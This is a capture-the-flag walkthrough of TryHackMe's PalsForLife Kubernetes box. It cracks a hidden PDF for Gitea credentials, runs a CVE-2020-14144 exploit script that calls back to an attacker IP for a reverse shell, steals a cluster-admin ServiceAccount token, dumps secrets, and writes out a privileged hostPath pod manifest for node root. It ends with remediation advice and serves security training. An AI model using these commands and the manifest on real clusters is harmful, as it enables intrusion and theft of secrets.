PalsForLife
A k3s box: crack a hidden PDF for Gitea creds, exploit CVE-2020-14144 for a pod shell, then abuse a cluster-admin ServiceAccount token to read cluster secrets and launch a privileged hostPath pod for node root.
TryHackMe: PalsForLife — Gitea RCE into a Pod, Then a Cluster-Admin Token to Node Root
A walkthrough of TryHackMe’s “PalsForLife”: a k3s Kubernetes box where we crack a hidden PDF for Gitea credentials, fire an authenticated Gitea RCE (CVE-2020-14144) to land in a pod, then discover that pod’s default ServiceAccount token is cluster-admin — enough to read every cluster secret and schedule a privileged pod that mounts the host filesystem for root on the node.
PalsForLife is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. Cracked passwords, the ServiceAccount token, and all flags are redacted — values shown as
<redacted>orflag{<redacted>}are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
Port scan shows a k3s cluster: kube-apiserver (6443), kubelet (10250), an nginx site (30180), and Gitea (31111), all auth-walled → a base64 blob under /team decodes to a password-protected PDF; pdf2john + rockyou cracks it, and the PDF holds a password → log into Gitea as leeroy → Gitea 1.12.5 falls to CVE-2020-14144 (authenticated RCE) for a shell as git inside the gitea-0 pod (flag2) → the pod’s default ServiceAccount token is cluster-admin (*.* [*]) → read a cluster Secret for flag3, then schedule a privileged pod that hostPath-mounts / → kubectl exec into it → root on the node.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
The TLS certificates (CN k3s, SANs for kubernetes.default.svc) give the game away immediately — this is a Kubernetes node:
22/tcp OpenSSH 7.6p1
6443/tcp k3s kube-apiserver (HTTPS) -> 401 Unauthorized
10250/tcp kubelet API (HTTPS) -> 401 Unauthorized
30180/tcp nginx 1.21.0 -> 403, but /team exists
31111/tcp Gitea 1.12.5
31112/tcp OpenSSH 7.5 (gitea container)
The vulnerability: one pod token owns the whole cluster
The app bugs (a crackable PDF, an old Gitea) only get us a shell in one container. What makes PalsForLife a full compromise is a Kubernetes misconfiguration: the default ServiceAccount mounted into the Gitea pod is bound to cluster-admin.
Insight
Every pod gets a ServiceAccount token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and it should be nearly powerless. Here it is not: kubectl auth can-i --list with that token returns *.* [*] — full cluster-admin. So the instant you run code in any pod, you own the cluster: you can read every Secret and schedule a privileged pod that bind-mounts the host’s /, walking straight out of the container onto the node as root.
Step 1 — crack a hidden PDF for Gitea credentials
The nginx site (30180) exposes /team, which carries a base64 blob. Decode it to a password-protected PDF, then crack the PDF:
cat base64.txt | base64 -d > uninteresting_file.pdf
pdf2john uninteresting_file.pdf > hash_pdf
john --wordlist=rockyou.txt hash_pdf # -> cracked (value redacted)
Opening the PDF with the cracked password reveals an application password: <redacted>.
Step 2 — the Kubernetes APIs are locked, so pivot to Gitea
Anonymous access to the cluster APIs is denied, so the recovered password has to go somewhere else:
curl -k https://$IP:6443/api/v1 # 401 Unauthorized
curl -k https://$IP:10250/pods # Unauthorized
Gitea on 31111 lists a user leeroy. The PDF password logs us in as leeroy (his repo even exposes a webhook secret).
Step 3 — authenticated Gitea RCE (CVE-2020-14144) → pod shell
Gitea 1.12.5 is vulnerable to authenticated RCE via the git-hooks feature:
searchsploit gitea # Gitea 1.12.5 - RCE (Authenticated) -> 49571.py
python3 49571.py -t http://$IP:31111 -u 'leeroy' -p '<redacted>' -I $ATTACKER_IP -P 4444
# reverse shell:
# uid=1000(git) ... hostname: gitea-0 (we are inside a pod)
Stabilise the shell (e.g. a socat PTY) and grab the first flag in the container:
find / -type f -name 'flag*.txt' 2>/dev/null
cat /root/..*/flag2.txt # flag{<redacted>}
Step 4 — loot the ServiceAccount token, confirm cluster-admin
cat /var/run/secrets/kubernetes.io/serviceaccount/token # JWT (redacted)
kubectl --server https://$IP:6443 --token '<redacted>' --insecure-skip-tls-verify auth can-i --list
# Resources Verbs
# *.* [*] <- cluster-admin
Step 5 — read cluster secrets (flag3) and escape to the node (root)
First, the easy loot — cluster secrets:
kubectl ... get secrets --all-namespaces
# kube-system flag3 Opaque
kubectl ... get secret flag3 -n kube-system -o yaml # data.flag3.txt (base64) -> flag{<redacted>}
Then the node. Schedule a privileged pod that bind-mounts the host root, and exec into it:
cat > pod.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pod
spec:
containers:
- name: pod
image: gitea/gitea:1.5.1
volumeMounts:
- name: hostvolume
mountPath: /pod
securityContext:
privileged: true
volumes:
- name: hostvolume
hostPath:
path: /
EOF
kubectl ... create -f pod.yaml
kubectl ... exec -it pod -- /bin/bash
bash-4.4# whoami; cat /pod/root/root.txt
# root ; flag{<redacted>}
The host’s entire filesystem is mounted at /pod, so /pod/root/root.txt is the node’s root flag — and anything else on the box is ours too.
Impact
Critical
Critical — full cluster and node compromise. App-level RCE (CVE-2020-14144, ~CVSS 8.8) is bad enough, but the cluster-admin ServiceAccount turns a single pod foothold into total control of the Kubernetes cluster and every node under it: all secrets exfiltrated, arbitrary privileged workloads scheduled, and root on the host via a hostPath mount. Blast radius = everything the cluster runs.
Recommended fix
Fix
- Never bind the default ServiceAccount to cluster-admin. Give each workload a dedicated SA with least-privilege RBAC, and set
automountServiceAccountToken: falsewhere the pod does not call the API. - Enforce Pod Security. A policy admission controller (Pod Security Admission / an OPA/Kyverno rule) should reject
privileged: trueandhostPathmounts — those two alone are a node takeover. - Patch Gitea. 1.12.5 has a known authenticated RCE (CVE-2020-14144); keep it current and restrict who can push git hooks.
- Don’t ship secrets in reachable files. A base64 PDF with a rockyou-crackable password is not protection; rotate the leaked credential.
Takeaways
- In Kubernetes, a pod shell is a cluster question, not a container one. Always check
auth can-i --listwith the mounted SA token — an over-permissioned token is the fastest privesc there is. privileged: true+hostPath: /is a node breakout, full stop. If you can schedule pods, you can own every node.- Chained weak links beat one strong wall. Crackable PDF → reused password → old Gitea → god-mode token: each step was small.
- Certificates leak architecture. The k3s SANs told us this was Kubernetes before we touched a single service.
Thanks for reading. PalsForLife is a great reminder that container-level RCE and cluster-level compromise are only one over-privileged token apart.